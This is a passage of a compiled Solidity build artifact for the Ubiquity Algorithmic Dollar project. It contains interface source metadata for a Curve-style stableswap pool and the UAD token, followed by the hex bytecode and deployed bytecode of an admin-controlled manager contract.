i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"}},\"version\":1}", - "bytecode": "0x60806040523480156200001157600080fd5b506040516200267a3803806200267a833981016040819052620000349162000200565b6200004160008262000150565b6200006d7f3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c98262000150565b620000997f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a8262000150565b620000c57feaff283aa1cb5c8448e8e6df1f1d9256a0b9e1d4a11bca9e915ecfb8d881be7e8262000150565b620000f17fb59de930ba65d9ac0d4dbd09127a305101a071683af551ffece1d125909542d88262000150565b6200011d7faf1a415cb2281de448f1771a3c8144f554e6e38bb3bc1acc8218c01a5d75721d8262000150565b620001497f9a46abf6358a50f8b5f443e7d26ec0762bffead3f6c78af4ff80f12ba16bb5683062000150565b5062000230565b6200015c828262000160565b5050565b6000828152602081815260408083206001600160a01b038516845290915290205460ff166200015c576000828152602081815260408083206001600160a01b03851684529091529020805460ff19166001179055620001bc3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60006020828403121562000212578081fd5b81516001600160a01b038116811462000229578182fd5b9392505050565b61243a80620002406000396000f3fe608060405234801561001057600080fd5b506004361061032b5760003560e01c80636605bfda116101b2578063be1d86e1116100f9578063e2d443bd116100a2578063f39e5a471161007c578063f39e5a471461077e578063f6f172cb146107a5578063f986cd57146107b8578063fbff3a41146107cb5761032b565b8063e2d443bd1461071d578063e63ab1e914610730578063e6c73540146107575761032b565b8063d3815fb9116100d3578063d3815fb9146106e4578063d547741f146106f7578063de71c1db1461070a5761032b565b8063be1d86e1146106ab578063c431e83c146106be578063c5f956af146106d15761032b565b8063a41dd6e61161015b578063b42165d011610135578063b42165d014610672578063b90bbaff14610685578063bc3ea018146106985761032b565b8063a41dd6e61461060c578063aef6be3c14610633578063b3094fd61461065f5761032b565b806391d148541161018c57806391d14854146105ba57806392324611146105f1578063a217fddf146106045761032b565b80636605bfda14610581578063749cface146105945780638fe63683146105a75761032b565b806338174654116102765780634ac116081161021f57806356593ea3116101f957806356593ea31461053457806357f6a22a1461054757806359f6deac1461056e5761032b565b80634ac11608146104fb5780634c9f5d861461050e57806353b07507146105215761032b565b80633b4d9773116102505780633b4d9773146104ae5780633e916ced146104d557806347091398146104e85761032b565b806338174654146104755780633ae3d9a4146104885780633b194dcc1461049b5761032b565b8063221e2e60116102d85780632f533cb7116102b25780632f533cb71461042857806336568abe1461044f57806336c3df24146104625761032b565b8063221e2e60146103d1578063248a9ca3146103e45780632f2ff15d146104155761032b565b8063147f1b9611610309578063147f1b961461039857806315f97398146103ab578063214f7882146103be5761032b565b8063017df3271461033057806301ffc9a7146103605780630bcf9ca314610383575b600080fd5b600954610343906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61037361036e3660046120d6565b6107de565b6040519015158152602001610357565b610396610391366004611fb0565b610815565b005b6103966103a6366004611fb0565b610896565b6103966103b9366004611fb0565b610912565b600e54610343906001600160a01b031681565b600d54610343906001600160a01b031681565b6104076103f236600461209a565b60009081526020819052604090206001015490565b604051908152602001610357565b6103966104233660046120b2565b61098e565b6104077f3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c981565b61039661045d3660046120b2565b6109ba565b600c54610343906001600160a01b031681565b610396610483366004611fb0565b610a46565b600f54610343906001600160a01b031681565b6103966104a9366004611fb0565b610ac2565b6104077f9a46abf6358a50f8b5f443e7d26ec0762bffead3f6c78af4ff80f12ba16bb56881565b600454610343906001600160a01b031681565b6103966104f6366004611fb0565b610b8e565b610396610509366004611fb0565b610c0a565b61039661051c366004611fb0565b610c86565b61039661052f366004611fe8565b610d02565b600254610343906001600160a01b031681565b6104077faf1a415cb2281de448f1771a3c8144f554e6e38bb3bc1acc8218c01a5d75721d81565b600554610343906001600160a01b031681565b61039661058f366004611fb0565b610dab565b601054610343906001600160a01b031681565b600154610343906001600160a01b031681565b6103736105c83660046120b2565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b6103966105ff366004611fb0565b610e27565b610407600081565b6104077feaff283aa1cb5c8448e8e6df1f1d9256a0b9e1d4a11bca9e915ecfb8d881be7e81565b610343610641366004611fb0565b6001600160a01b039081166000908152601160205260409020541690565b61039661066d366004611fb0565b610ea3565b600b54610343906001600160a01b031681565b610396610693366004611fb0565b610f1f565b600354610343906001600160a01b031681565b6103966106b9366004611fb0565b610f9b565b600654610343906001600160a01b031681565b600a54610343906001600160a01b031681565b600854610343906001600160a01b031681565b6103966107053660046120b2565b611017565b600754610343906001600160a01b031681565b61039661072b366004611fb0565b61103d565b6104077f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b6104077fb59de930ba65d9ac0d4dbd09127a305101a071683af551ffece1d125909542d881565b6104077fa3405bb4244d0786f3e4178acef3953ebb3f56c1e97e9530871f50739923c1cf81565b6103966107b3366004611fe8565b6110b9565b6103966107c6366004611fb0565b611141565b6103966107d9366004612020565b6111bd565b60006001600160e01b03198216637965db0b60e01b148061080f57506301ffc9a760e01b6001600160e01b03198316145b92915050565b33600090815260008051602061240e833981519152602052604090205460ff166108745760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee83398151915260448201526064015b60405180910390fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff166108f05760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff1661096c5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000828152602081905260409020600101546109ab81335b611849565b6109b583836118c7565b505050565b6001600160a01b0381163314610a385760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c660000000000000000000000000000000000606482015260840161086b565b610a428282611965565b5050565b33600090815260008051602061240e833981519152602052604090205460ff16610aa05760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610b1c5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600180546001600160a01b0319166001600160a01b0383169081179091556040805163a2e6204560e01b81529051829163a2e6204591600480830192600092919082900301818387803b158015610b7257600080fd5b505af1158015610b86573d6000803e3d6000fd5b505050505050565b33600090815260008051602061240e833981519152602052604090205460ff16610be85760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610c645760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610ce05760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610d5c5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b60035460405163b6232c9960e01b81526001600160a01b03848116600483015283811660248301529091169063b6232c9990604401600060405180830381600087803b158015610b7257600080fd5b33600090815260008051602061240e833981519152602052604090205460ff16610e055760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610e815760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610efd5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610f795760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610ff55760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b60008281526020819052604090206001015461103381336109a6565b6109b58383611965565b33600090815260008051602061240e833981519152602052604090205460ff166110975760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff166111135760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b6001600160a01b03918216600090815260116020526040902080546001600160a01b03191691909216179055565b33600090815260008051602061240e833981519152602052604090205460ff1661119b5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff166112175760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b6000856001600160a01b031663e339eb4f86600360009054906101000a90046001600160a01b03166001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561127757600080fd5b505afa15801561128b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526112b391908101906120fe565b600360009054906101000a90046001600160a01b03166001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561130157600080fd5b505afa158015611315573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261133d91908101906120fe565b6003546040516001600160e01b031960e087901b168152611371949392916001600160a01b0316908a908a9060040161227d565b602060405180830381600087803b15801561138b57600080fd5b505af115801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c39190611fcc565b600880546001600160a01b0319166001600160a01b03838116919091179091556040516370a0823160e01b8152306004820152919250600091908616906370a082319060240160206040518083038186803b15801561142157600080fd5b505afa158015611435573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611459919061219c565b6003546040516370a0823160e01b81523060048201529192506000916001600160a01b03909116906370a082319060240160206040518083038186803b1580156114a257600080fd5b505afa1580156114b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114da919061219c565b90506114f16001600160a01b0387168460006119e4565b6115056001600160a01b03871684846119e4565b60035461151d906001600160a01b03168460006119e4565b600354611534906001600160a01b031684836119e4565b60035460405163c661065760e01b8152600060048201526001600160a01b039182169185169063c66106579060240160206040518083038186803b15801561157b57600080fd5b505afa15801561158f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b39190611fcc565b6001600160a01b031614801561164c575060405163c661065760e01b8152600160048201526001600160a01b03808816919085169063c66106579060240160206040518083038186803b15801561160957600080fd5b505afa15801561161d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116419190611fcc565b6001600160a01b0316145b6116985760405162461bcd60e51b815260206004820152601b60248201527f7541444d47523a20434f494e5f4f524445525f4d49534d415443480000000000604482015260640161086b565b60408051808201918290526003546370a0823160e01b90925230604482015260009181906001600160a01b03166370a082316064830160206040518083038186803b1580156116e657600080fd5b505afa1580156116fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171e919061219c565b81526040516370a0823160e01b81523060048201526020909101906001600160a01b038a16906370a082319060240160206040518083038186803b15801561176557600080fd5b505afa158015611779573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061179d919061219c565b9052600980546001600160a01b0319166001600160a01b038a81169190911790915560405163030f92d560e21b8152919250851690630c3e4b54906117eb90849060009033906004016122d0565b602060405180830381600087803b15801561180557600080fd5b505af1158015611819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183d919061219c565b50505050505050505050565b6000828152602081815260408083206001600160a01b038516845290915290205460ff16610a4257611885816001600160a01b03166014611b46565b611890836020611b46565b6040516020016118a19291906121fc565b60408051601f198184030181529082905262461bcd60e51b825261086b91600401612318565b6000828152602081815260408083206001600160a01b038516845290915290205460ff16610a42576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556119213390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152602081815260408083206001600160a01b038516845290915290205460ff1615610a42576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b801580611a6d5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b158015611a3357600080fd5b505afa158015611a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6b919061219c565b155b611adf5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e636500000000000000000000606482015260840161086b565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663095ea7b360e01b1790526109b5908490611d3c565b60606000611b55836002612343565b611b6090600261232b565b67ffffffffffffffff811115611b8657634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611bb0576020820181803683370190505b509050600360fc1b81600081518110611bd957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611c1657634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506000611c3a846002612343565b611c4590600161232b565b90505b6001811115611ce6577f303132333435363738396162636465660000000000000000000000000000000085600f1660108110611c9457634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110611cb857634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93611cdf81612392565b9050611c48565b508315611d355760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015260640161086b565b9392505050565b6000611d91826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611e219092919063ffffffff16565b8051909150156109b55780806020019051810190611daf919061207a565b6109b55760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f74207375636365656400000000000000000000000000000000000000000000606482015260840161086b565b6060611e308484600085611e38565b949350505050565b606082471015611eb05760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c0000000000000000000000000000000000000000000000000000606482015260840161086b565b843b611efe5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161086b565b600080866001600160a01b03168587604051611f1a91906121e0565b60006040518083038185875af1925050503d8060008114611f57576040519150601f19603f3d011682016040523d82523d6000602084013e611f5c565b606091505b5091509150611f6c828286611f77565b979650505050505050565b60608315611f86575081611d35565b825115611f965782518084602001fd5b8160405162461bcd60e51b815260040161086b9190612318565b600060208284031215611fc1578081fd5b8135611d35816123d5565b600060208284031215611fdd578081fd5b8151611d35816123d5565b60008060408385031215611ffa578081fd5b8235612005816123d5565b91506020830135612015816123d5565b809150509250929050565b600080600080600060a08688031215612037578081fd5b8535612042816123d5565b94506020860135612052816123d5565b93506040860135612062816123d5565b94979396509394606081013594506080013592915050565b60006020828403121561208b578081fd5b81518015158114611d35578182fd5b6000602082840312156120ab578081fd5b5035919050565b600080604083850312156120c4578182fd5b823591506020830135612015816123d5565b6000602082840312156120e7578081fd5b81356001600160e01b031981168114611d35578182fd5b60006020828403121561210f578081fd5b815167ffffffffffffffff80821115612126578283fd5b818401915084601f830112612139578283fd5b81518181111561214b5761214b6123bf565b604051601f8201601f19908116603f01168101908382118183101715612173576121736123bf565b8160405282815287602084870101111561218b578586fd5b611f6c836020830160208801612362565b6000602082840312156121ad578081fd5b5051919050565b600081518084526121cc816020860160208601612362565b601f01601f19169290920160200192915050565b600082516121f2818460208701612362565b9190910192915050565b60007f416363657373436f6e74726f6c3a206163636f756e742000000000000000000082528351612234816017850160208801612362565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351612271816028840160208801612362565b01602801949350505050565b60006001600160a01b03808916835260c060208401526122a060c08401896121b4565b83810360408501526122b281896121b4565b91909616606084015260808301949094525060a00152949350505050565b60808101818560005b60028110156122f85781518352602092830192909101906001016122d9565b5050508360408301526001600160a01b0383166060830152949350505050565b600060208252611d3560208301846121b4565b6000821982111561233e5761233e6123a9565b500190565b600081600019048311821515161561235d5761235d6123a9565b500290565b60005b8381101561237d578181015183820152602001612365565b8381111561238c576000848401525b50505050565b6000816123a1576123a16123a9565b506000190190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146123ea57600080fd5b5056fe7541444d47523a2043616c6c6572206973206e6f742061646d696e0000000000ad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5a164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b506004361061032b5760003560e01c80636605bfda116101b2578063be1d86e1116100f9578063e2d443bd116100a2578063f39e5a471161007c578063f39e5a471461077e578063f6f172cb146107a5578063f986cd57146107b8578063fbff3a41146107cb5761032b565b8063e2d443bd1461071d578063e63ab1e914610730578063e6c73540146107575761032b565b8063d3815fb9116100d3578063d3815fb9146106e4578063d547741f146106f7578063de71c1db1461070a5761032b565b8063be1d86e1146106ab578063c431e83c146106be578063c5f956af146106d15761032b565b8063a41dd6e61161015b578063b42165d011610135578063b42165d014610672578063b90bbaff14610685578063bc3ea018146106985761032b565b8063a41dd6e61461060c578063aef6be3c14610633578063b3094fd61461065f5761032b565b806391d148541161018c57806391d14854146105ba57806392324611146105f1578063a217fddf146106045761032b565b80636605bfda14610581578063749cface146105945780638fe63683146105a75761032b565b806338174654116102765780634ac116081161021f57806356593ea3116101f957806356593ea31461053457806357f6a22a1461054757806359f6deac1461056e5761032b565b80634ac11608146104fb5780634c9f5d861461050e57806353b07507146105215761032b565b80633b4d9773116102505780633b4d9773146104ae5780633e916ced146104d557806347091398146104e85761032b565b806338174654146104755780633ae3d9a4146104885780633b194dcc1461049b5761032b565b8063221e2e60116102d85780632f533cb7116102b25780632f533cb71461042857806336568abe1461044f57806336c3df24146104625761032b565b8063221e2e60146103d1578063248a9ca3146103e45780632f2ff15d146104155761032b565b8063147f1b9611610309578063147f1b961461039857806315f97398146103ab578063214f7882146103be5761032b565b8063017df3271461033057806301ffc9a7146103605780630bcf9ca314610383575b600080fd5b600954610343906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61037361036e3660046120d6565b6107de565b6040519015158152602001610357565b610396610391366004611fb0565b610815565b005b6103966103a6366004611fb0565b610896565b6103966103b9366004611fb0565b610912565b600e54610343906001600160a01b031681565b600d54610343906001600160a01b031681565b6104076103f236600461209a565b60009081526020819052604090206001015490565b604051908152602001610357565b6103966104233660046120b2565b61098e565b6104077f3a2e010201653e4743db35ee85e81b63eb19cf8948f24794ef2b4dba5ecf49c981565b61039661045d3660046120b2565b6109ba565b600c54610343906001600160a01b031681565b610396610483366004611fb0565b610a46565b600f54610343906001600160a01b031681565b6103966104a9366004611fb0565b610ac2565b6104077f9a46abf6358a50f8b5f443e7d26ec0762bffead3f6c78af4ff80f12ba16bb56881565b600454610343906001600160a01b031681565b6103966104f6366004611fb0565b610b8e565b610396610509366004611fb0565b610c0a565b61039661051c366004611fb0565b610c86565b61039661052f366004611fe8565b610d02565b600254610343906001600160a01b031681565b6104077faf1a415cb2281de448f1771a3c8144f554e6e38bb3bc1acc8218c01a5d75721d81565b600554610343906001600160a01b031681565b61039661058f366004611fb0565b610dab565b601054610343906001600160a01b031681565b600154610343906001600160a01b031681565b6103736105c83660046120b2565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b6103966105ff366004611fb0565b610e27565b610407600081565b6104077feaff283aa1cb5c8448e8e6df1f1d9256a0b9e1d4a11bca9e915ecfb8d881be7e81565b610343610641366004611fb0565b6001600160a01b039081166000908152601160205260409020541690565b61039661066d366004611fb0565b610ea3565b600b54610343906001600160a01b031681565b610396610693366004611fb0565b610f1f565b600354610343906001600160a01b031681565b6103966106b9366004611fb0565b610f9b565b600654610343906001600160a01b031681565b600a54610343906001600160a01b031681565b600854610343906001600160a01b031681565b6103966107053660046120b2565b611017565b600754610343906001600160a01b031681565b61039661072b366004611fb0565b61103d565b6104077f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b6104077fb59de930ba65d9ac0d4dbd09127a305101a071683af551ffece1d125909542d881565b6104077fa3405bb4244d0786f3e4178acef3953ebb3f56c1e97e9530871f50739923c1cf81565b6103966107b3366004611fe8565b6110b9565b6103966107c6366004611fb0565b611141565b6103966107d9366004612020565b6111bd565b60006001600160e01b03198216637965db0b60e01b148061080f57506301ffc9a760e01b6001600160e01b03198316145b92915050565b33600090815260008051602061240e833981519152602052604090205460ff166108745760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee83398151915260448201526064015b60405180910390fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff166108f05760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff1661096c5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000828152602081905260409020600101546109ab81335b611849565b6109b583836118c7565b505050565b6001600160a01b0381163314610a385760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c660000000000000000000000000000000000606482015260840161086b565b610a428282611965565b5050565b33600090815260008051602061240e833981519152602052604090205460ff16610aa05760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610b1c5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600180546001600160a01b0319166001600160a01b0383169081179091556040805163a2e6204560e01b81529051829163a2e6204591600480830192600092919082900301818387803b158015610b7257600080fd5b505af1158015610b86573d6000803e3d6000fd5b505050505050565b33600090815260008051602061240e833981519152602052604090205460ff16610be85760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610c645760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610ce05760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610d5c5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b60035460405163b6232c9960e01b81526001600160a01b03848116600483015283811660248301529091169063b6232c9990604401600060405180830381600087803b158015610b7257600080fd5b33600090815260008051602061240e833981519152602052604090205460ff16610e055760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610e815760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610efd5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610f795760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff16610ff55760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b60008281526020819052604090206001015461103381336109a6565b6109b58383611965565b33600090815260008051602061240e833981519152602052604090205460ff166110975760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff166111135760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b6001600160a01b03918216600090815260116020526040902080546001600160a01b03191691909216179055565b33600090815260008051602061240e833981519152602052604090205460ff1661119b5760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b33600090815260008051602061240e833981519152602052604090205460ff166112175760405162461bcd60e51b815260206004820152601b60248201526000805160206123ee833981519152604482015260640161086b565b6000856001600160a01b031663e339eb4f86600360009054906101000a90046001600160a01b03166001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561127757600080fd5b505afa15801561128b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526112b391908101906120fe565b600360009054906101000a90046001600160a01b03166001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b15801561130157600080fd5b505afa158015611315573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261133d91908101906120fe565b6003546040516001600160e01b031960e087901b168152611371949392916001600160a01b0316908a908a9060040161227d565b6020604